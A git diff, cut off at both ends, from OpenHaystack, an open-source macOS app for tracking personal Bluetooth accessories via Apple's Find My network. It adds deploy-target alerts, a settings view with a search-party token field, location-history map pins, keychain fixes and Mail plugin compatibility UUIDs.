com.apple.account.DeviceLocator.search-party-token
|
||||
"""
|
||||
@@ -305,6 +343,11 @@ struct OpenHaystackMainView: View {
|
||||
title: Text("Could not deploy"),
|
||||
message: Text("Deploying to microbit failed. Please reconnect the device over USB"),
|
||||
dismissButton: Alert.Button.okay())
|
||||
case .nrfDeployFailed:
|
||||
return Alert(
|
||||
title: Text("Could not deploy"),
|
||||
message: Text(self.scriptOutput ?? "Unknown Error"),
|
||||
dismissButton: Alert.Button.okay())
|
||||
case .deployedSuccessfully:
|
||||
return Alert(
|
||||
title: Text("Deploy successfull"),
|
||||
@@ -344,45 +387,52 @@ struct OpenHaystackMainView: View {
|
||||
action: {
|
||||
self.downloadPlugin()
|
||||
}), secondaryButton: .cancel())
|
||||
case .selectDepoyTarget:
|
||||
let microbitButton = Alert.Button.default(Text("Microbit"), action: {self.deployAccessoryToMicrobit(accessory: self.accessoryToDeploy!)})
|
||||
|
||||
let esp32Button = Alert.Button.default(Text("ESP32"), action: {
|
||||
self.showESP32DeploySheet = true
|
||||
})
|
||||
|
||||
return Alert(title: Text("Select target"),
|
||||
message: Text("Please select to which device you want to deploy"),
|
||||
primaryButton: microbitButton,
|
||||
secondaryButton: esp32Button)
|
||||
case .downloadingReportsFailed:
|
||||
return Alert(
|
||||
title: Text("Downloading locations failed"),
|
||||
message: Text("We could not download any locations from Apple. Please try again later"),
|
||||
dismissButton: Alert.Button.okay())
|
||||
case .exportFailed:
|
||||
return Alert(
|
||||
title: Text("Export failed"),
|
||||
message: Text("Please check that no the folder is writable and that you have the most current version of the app"),
|
||||
dismissButton: .okay())
|
||||
case .importFailed:
|
||||
return Alert(
|
||||
title: Text("Import failed"),
|
||||
message: Text("Could not import the selected file. Please make sure it has not been modified and that you have the current version of the app."),
|
||||
dismissButton: .okay())
|
||||
}
|
||||
}
|
||||
|
||||
enum AlertType: Int, Identifiable {
|
||||
enum AlertType: Int, Identifiable, Error {
|
||||
var id: Int {
|
||||
return self.rawValue
|
||||
}
|
||||
|
||||
case keyError
|
||||
case searchPartyToken
|
||||
case invalidSearchPartyToken
|
||||
case deployFailed
|
||||
case nrfDeployFailed
|
||||
case deployedSuccessfully
|
||||
case deletionFailed
|
||||
case noReportsFound
|
||||
case downloadingReportsFailed
|
||||
case activatePlugin
|
||||
case pluginInstallFailed
|
||||
case selectDepoyTarget
|
||||
case exportFailed
|
||||
case importFailed
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
struct OpenHaystackMainView_Previews: PreviewProvider {
|
||||
|
||||
static var accessories: [Accessory] = PreviewData.accessories
|
||||
static var accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController()) as AccessoryController
|
||||
|
||||
static var previews: some View {
|
||||
OpenHaystackMainView(accessoryController: AccessoryController(accessories: accessories))
|
||||
.frame(width: 800, height: 600, alignment: .center)
|
||||
OpenHaystackMainView()
|
||||
.environmentObject(self.accessoryController)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -391,3 +441,35 @@ extension Alert.Button {
|
||||
Alert.Button.default(Text("Okay"))
|
||||
}
|
||||
}
|
||||
|
||||
extension TimeInterval {
|
||||
var description: String {
|
||||
var value = 0
|
||||
var unit = Units.second
|
||||
Units.allCases.forEach { u in
|
||||
if self.rounded() >= u.rawValue {
|
||||
value = Int((self / u.rawValue).rounded())
|
||||
unit = u
|
||||
}
|
||||
}
|
||||
return "\(value) \(unit.description)\(value > 1 ? "s" : "")"
|
||||
}
|
||||
|
||||
enum Units: Double, CaseIterable {
|
||||
case second = 1
|
||||
case minute = 60
|
||||
case hour = 3600
|
||||
case day = 86400
|
||||
case week = 604800
|
||||
|
||||
var description: String {
|
||||
switch self {
|
||||
case .second: return "Second"
|
||||
case .minute: return "Minute"
|
||||
case .hour: return "Hour"
|
||||
case .day: return "Day"
|
||||
case .week: return "Week"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,36 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2024 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2024 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
|
||||
struct OpenHaystackSettingsView: View {
|
||||
var body: some View {
|
||||
TabView {
|
||||
GeneralSettingsView()
|
||||
.tabItem {
|
||||
Label("General", systemImage: "gear")
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct GeneralSettingsView: View {
|
||||
@AppStorage("useMailPlugin") private var useMailPlugin = false
|
||||
@AppStorage("searchPartyToken") private var searchPartyToken = ""
|
||||
|
||||
var body: some View {
|
||||
Form {
|
||||
Toggle("Use Apple Mail Plugin (only works on macOS 13 and lower)", isOn: $useMailPlugin)
|
||||
TextField("Search Party Token", text: $searchPartyToken)
|
||||
}
|
||||
.padding(20)
|
||||
.frame(width: 600, height: 200)
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
|
||||
@@ -0,0 +1,45 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
extension Binding where Value == Double {
|
||||
func logarithmic(base: Double = 10.0) -> Binding<Double> {
|
||||
Binding(
|
||||
get: {
|
||||
logC(self.wrappedValue, forBase: base)
|
||||
},
|
||||
set: { (newValue) in
|
||||
self.wrappedValue = pow(base, newValue)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
extension Slider {
|
||||
static func withLogScale(
|
||||
base: Double = 10.0,
|
||||
value: Binding<Double>,
|
||||
in inRange: ClosedRange<Double>,
|
||||
minimumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
|
||||
maximumValueLabel: ValueLabel = EmptyView() as! ValueLabel,
|
||||
label: () -> Label = { EmptyView() as! Label },
|
||||
onEditingChanged: @escaping (Bool) -> Void = { _ in }
|
||||
) -> Slider where Label: View, ValueLabel: View {
|
||||
return self.init(
|
||||
value: value.logarithmic(base: base),
|
||||
in: logC(inRange.lowerBound, forBase: base)...logC(inRange.upperBound, forBase: base),
|
||||
onEditingChanged: onEditingChanged, minimumValueLabel: minimumValueLabel,
|
||||
maximumValueLabel: maximumValueLabel,
|
||||
label: label)
|
||||
}
|
||||
}
|
||||
|
||||
private func logC(_ value: Double, forBase base: Double) -> Double {
|
||||
return log(value) / log(base)
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import SwiftUI
|
||||
|
||||
struct LargeButtonStyle: ButtonStyle {
|
||||
|
||||
var active: Bool = false
|
||||
var destructive: Bool = false
|
||||
|
||||
func makeBody(configuration: Configuration) -> some View {
|
||||
ZStack {
|
||||
if configuration.isPressed {
|
||||
RoundedRectangle(cornerRadius: 5.0)
|
||||
.fill(Color.accentColor)
|
||||
} else {
|
||||
RoundedRectangle(cornerRadius: 5.0)
|
||||
.fill(self.active ? Color.accentColor : self.destructive ? Color.red : Color("Button"))
|
||||
}
|
||||
|
||||
configuration.label
|
||||
.font(Font.headline)
|
||||
.padding(6)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -24,13 +24,11 @@
|
||||
<string>$(MACOSX_DEPLOYMENT_TARGET)</string>
|
||||
<key>NSHumanReadableCopyright</key>
|
||||
<string>Copyright © 2021 SEEMOO – TU Darmstadt</string>
|
||||
<key>NSMainStoryboardFile</key>
|
||||
<string>Main</string>
|
||||
<key>NSPrincipalClass</key>
|
||||
<string>NSApplication</string>
|
||||
<key>NSSupportsAutomaticTermination</key>
|
||||
<true/>
|
||||
<key>NSSupportsSuddenTermination</key>
|
||||
<true/>
|
||||
<key>NSBluetoothAlwaysUsageDescription</key>
|
||||
<string>OpenHaystack uses Bluetooth to detect the presence of nearby accessories.</string>
|
||||
</dict>
|
||||
</plist>
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Cocoa
|
||||
import MapKit
|
||||
@@ -17,67 +19,41 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
|
||||
super.viewDidLoad()
|
||||
self.mapView.delegate = self
|
||||
self.mapView.register(AccessoryAnnotationView.self, forAnnotationViewWithReuseIdentifier: "Accessory")
|
||||
}
|
||||
|
||||
func addLocationsReports(from devices: [FindMyDevice]) {
|
||||
if !self.mapView.annotations.isEmpty {
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
}
|
||||
|
||||
// Zoom to first location
|
||||
if let location = devices.first?.decryptedReports?.first {
|
||||
let coordinate = CLLocationCoordinate2D(latitude: location.latitude, longitude: location.longitude)
|
||||
let span = MKCoordinateSpan(latitudeDelta: 5.0, longitudeDelta: 5.0)
|
||||
let region = MKCoordinateRegion(center: coordinate, span: span)
|
||||
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
|
||||
// Add pins
|
||||
for device in devices {
|
||||
|
||||
guard let reports = device.decryptedReports else { continue }
|
||||
for report in reports {
|
||||
let pin = MKPointAnnotation()
|
||||
pin.title = device.deviceId
|
||||
pin.coordinate = CLLocationCoordinate2D(latitude: report.latitude, longitude: report.longitude)
|
||||
self.mapView.addAnnotation(pin)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func zoom(on accessory: Accessory?) {
|
||||
self.focusedAccessory = accessory
|
||||
guard let location = accessory?.lastLocation else { return }
|
||||
let span = MKCoordinateSpan(latitudeDelta: 0.005, longitudeDelta: 0.005)
|
||||
let region = MKCoordinateRegion(center: location.coordinate, span: span)
|
||||
DispatchQueue.main.async {
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
self.mapView.register(MKPinAnnotationView.self, forAnnotationViewWithReuseIdentifier: "AccessoryHistory")
|
||||
}
|
||||
|
||||
func addLastLocations(from accessories: [Accessory]) {
|
||||
if !self.mapView.annotations.isEmpty {
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
}
|
||||
|
||||
// Zoom to first location
|
||||
if focusedAccessory == nil, let location = accessories.first(where: { $0.lastLocation != nil })?.lastLocation {
|
||||
let span = MKCoordinateSpan(latitudeDelta: 0.005, longitudeDelta: 0.005)
|
||||
let region = MKCoordinateRegion(center: location.coordinate, span: span)
|
||||
DispatchQueue.main.async {
|
||||
self.mapView.setRegion(region, animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
// Add pins
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
for accessory in accessories {
|
||||
guard accessory.lastLocation != nil else { continue }
|
||||
|
||||
let annotation = AccessoryAnnotation(accessory: accessory)
|
||||
self.mapView.addAnnotation(annotation)
|
||||
}
|
||||
}
|
||||
|
||||
func zoomInOnSelection() {
|
||||
if focusedAccessory == nil {
|
||||
zoomInOnAll()
|
||||
} else {
|
||||
// Show focused accessory
|
||||
let focusedAnnotation: MKAnnotation? = self.mapView.annotations.first(where: { annotation in
|
||||
let accessoryAnnotation = annotation as! AccessoryAnnotation
|
||||
return accessoryAnnotation.accessory == self.focusedAccessory
|
||||
})
|
||||
if let annotation = focusedAnnotation {
|
||||
zoomInOn(annotations: [annotation])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func zoomInOnAll() {
|
||||
zoomInOn(annotations: self.mapView.annotations)
|
||||
}
|
||||
|
||||
func zoomInOn(annotations: [MKAnnotation]) {
|
||||
DispatchQueue.main.async { [weak self] in
|
||||
self?.mapView.showAnnotations(annotations, animated: true)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -85,12 +61,33 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
|
||||
self.mapView.mapType = mapType
|
||||
}
|
||||
|
||||
func addAllLocations(from accessory: Accessory, past: TimeInterval) {
|
||||
let now = Date()
|
||||
let pastLocations = accessory.locations?.filter { location in
|
||||
guard let timestamp = location.timestamp else {
|
||||
return false
|
||||
}
|
||||
return timestamp + past >= now
|
||||
}
|
||||
|
||||
self.mapView.removeAnnotations(self.mapView.annotations)
|
||||
for location in pastLocations ?? [] {
|
||||
let coordinate = CLLocationCoordinate2DMake(location.latitude, location.longitude)
|
||||
let annotation = AccessoryHistoryAnnotation(coordinate: coordinate)
|
||||
self.mapView.addAnnotation(annotation)
|
||||
}
|
||||
}
|
||||
|
||||
func mapView(_ mapView: MKMapView, viewFor annotation: MKAnnotation) -> MKAnnotationView? {
|
||||
switch annotation {
|
||||
case is AccessoryAnnotation:
|
||||
let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "Accessory", for: annotation)
|
||||
annotationView.annotation = annotation
|
||||
return annotationView
|
||||
case is AccessoryHistoryAnnotation:
|
||||
let annotationView = mapView.dequeueReusableAnnotationView(withIdentifier: "AccessoryHistory", for: annotation)
|
||||
annotationView.annotation = annotation
|
||||
return annotationView
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
|
||||
59
OpenHaystack/OpenHaystack/OpenHaystackApp.swift
Normal file
59
OpenHaystack/OpenHaystack/OpenHaystackApp.swift
Normal file
@@ -0,0 +1,59 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import SwiftUI
|
||||
|
||||
@main
|
||||
struct OpenHaystackApp: App {
|
||||
@StateObject var accessoryController: AccessoryController
|
||||
var accessoryNearbyMonitor: AccessoryNearbyMonitor?
|
||||
var frameWidth: CGFloat? = nil
|
||||
var frameHeight: CGFloat? = nil
|
||||
|
||||
@State var checkedForUpdates = false
|
||||
|
||||
init() {
|
||||
let accessoryController: AccessoryController
|
||||
if ProcessInfo().arguments.contains("-preview") {
|
||||
accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController())
|
||||
self.accessoryNearbyMonitor = nil
|
||||
// self.frameWidth = 1920
|
||||
// self.frameHeight = 1080
|
||||
} else {
|
||||
accessoryController = AccessoryController()
|
||||
self.accessoryNearbyMonitor = AccessoryNearbyMonitor(accessoryController: accessoryController)
|
||||
}
|
||||
self._accessoryController = StateObject(wrappedValue: accessoryController)
|
||||
}
|
||||
|
||||
var body: some Scene {
|
||||
WindowGroup {
|
||||
OpenHaystackMainView()
|
||||
.environmentObject(self.accessoryController)
|
||||
.frame(width: self.frameWidth, height: self.frameHeight)
|
||||
.onAppear {
|
||||
self.checkForUpdates()
|
||||
}
|
||||
}
|
||||
.commands {
|
||||
SidebarCommands()
|
||||
}
|
||||
#if os(macOS)
|
||||
Settings {
|
||||
OpenHaystackSettingsView()
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
func checkForUpdates() {
|
||||
guard checkedForUpdates == false, ProcessInfo().arguments.contains("-stopUpdateCheck") == false else { return }
|
||||
UpdateCheckController.checkForNewVersion()
|
||||
checkedForUpdates = true
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
// https://github.com/Matchstic/ReProvision/issues/96#issuecomment-551928795
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "ReportsFetcher.h"
|
||||
#import <Security/Security.h>
|
||||
@@ -24,10 +26,12 @@
|
||||
|
||||
CFTypeRef item;
|
||||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &item);
|
||||
|
||||
|
||||
|
||||
if (status == errSecSuccess) {
|
||||
NSData *securityToken = (__bridge NSData *)(item);
|
||||
|
||||
CFRelease(item);
|
||||
|
||||
NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
|
||||
|
||||
if (securityToken.length == 0) {
|
||||
@@ -77,7 +81,8 @@
|
||||
|
||||
if (status == errSecSuccess) {
|
||||
NSDictionary *itemDict = (__bridge NSDictionary *)(item);
|
||||
|
||||
CFRelease(item);
|
||||
|
||||
NSString *accountId = itemDict[(NSString *)kSecAttrAccount];
|
||||
|
||||
return accountId;
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import AppKit
|
||||
import Foundation
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//
|
||||
// ALTAnisetteData.h
|
||||
// AltSign
|
||||
//
|
||||
@@ -10,6 +11,7 @@
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//
|
||||
// ALTAnisetteData.m
|
||||
// AltSign
|
||||
//
|
||||
@@ -10,6 +11,7 @@
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "ALTAnisetteData.h"
|
||||
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//
|
||||
// AppleAccountData.h
|
||||
// AltSign
|
||||
//
|
||||
@@ -10,6 +11,7 @@
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "ALTAnisetteData.h"
|
||||
#import <Foundation/Foundation.h>
|
||||
@@ -31,7 +33,7 @@ NS_ASSUME_NONNULL_BEGIN
|
||||
@property(nonatomic, copy) NSLocale *locale;
|
||||
@property(nonatomic, copy) NSTimeZone *timeZone;
|
||||
|
||||
@property(nonatomic, copy) NSData *searchPartyToken;
|
||||
@property(nonatomic, copy) NSData *_Nullable searchPartyToken;
|
||||
|
||||
- (instancetype)initWithMachineID:(NSString *)machineID
|
||||
oneTimePassword:(NSString *)oneTimePassword
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//
|
||||
// AppleAccountData.m
|
||||
// AltSign
|
||||
//
|
||||
@@ -10,6 +11,7 @@
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "AppleAccountData.h"
|
||||
#import "ALTAnisetteData.h"
|
||||
|
||||
@@ -22,6 +22,24 @@
|
||||
<string>Copyright © 2021 SEEMOO – TU Darmstadt</string>
|
||||
<key>NSPrincipalClass</key>
|
||||
<string>OpenHaystackPluginService</string>
|
||||
<key>Supported10.14PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string># UUIDs for versions from 10.12 to 99.99.99</string>
|
||||
<string># For mail version 10.0 (3226) on OS X Version 10.12 (build 16A319)</string>
|
||||
<string>36CCB8BB-2207-455E-89BC-B9D6E47ABB5B</string>
|
||||
<string># For mail version 10.1 (3251) on OS X Version 10.12.1 (build 16B2553a)</string>
|
||||
<string>9054AFD9-2607-489E-8E63-8B09A749BC61</string>
|
||||
<string># For mail version 10.2 (3259) on OS X Version 10.12.2 (build 16D12b)</string>
|
||||
<string>1CD3B36A-0E3B-4A26-8F7E-5BDF96AAC97E</string>
|
||||
<string># For mail version 10.3 (3273) on OS X Version 10.12.4 (build 16G1036)</string>
|
||||
<string>21560BD9-A3CC-482E-9B99-95B7BF61EDC1</string>
|
||||
<string># For mail version 11.0 (3441.0.1) on OS X Version 10.13 (build 17A315i)</string>
|
||||
<string>C86CD990-4660-4E36-8CDA-7454DEB2E199</string>
|
||||
<string># For mail version 12.0 (3445.100.39) on OS X Version 10.14.1 (build 18B45d)</string>
|
||||
<string>A4343FAF-AE18-40D0-8A16-DFAE481AF9C1</string>
|
||||
<string># For mail version 13.0 (3594.4.2) on OS X Version 10.15 (build 19A558d)</string>
|
||||
<string>6EEA38FB-1A0B-469B-BB35-4C2E0EEA9053</string>
|
||||
</array>
|
||||
<key>Supported10.15PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string># UUIDs for versions from 10.12 to 99.99.99</string>
|
||||
@@ -44,6 +62,10 @@
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported11.10PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported11.1PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
@@ -60,5 +82,189 @@
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported11.5PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported11.6PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported11.7PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported11.8PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported11.9PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
</array>
|
||||
<key>Supported12.0PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
</array>
|
||||
<key>Supported12.1PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
</array>
|
||||
<key>Supported12.2PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
</array>
|
||||
<key>Supported12.3PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string># For Mail.app version 16.0 (3696.80.82.1.1) on macOS version 12.3.1 (build 21E258)</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported12.4PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported12.5PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported12.6PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported12.7PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported12.8PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported12.9PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported13.0PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
</array>
|
||||
<key>Supported13.1PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
|
||||
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
|
||||
</array>
|
||||
<key>Supported13.2PluginCompatibilityUUIDs</key>
|
||||
<array>
|
||||
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
|
||||
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
|
||||
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
|
||||
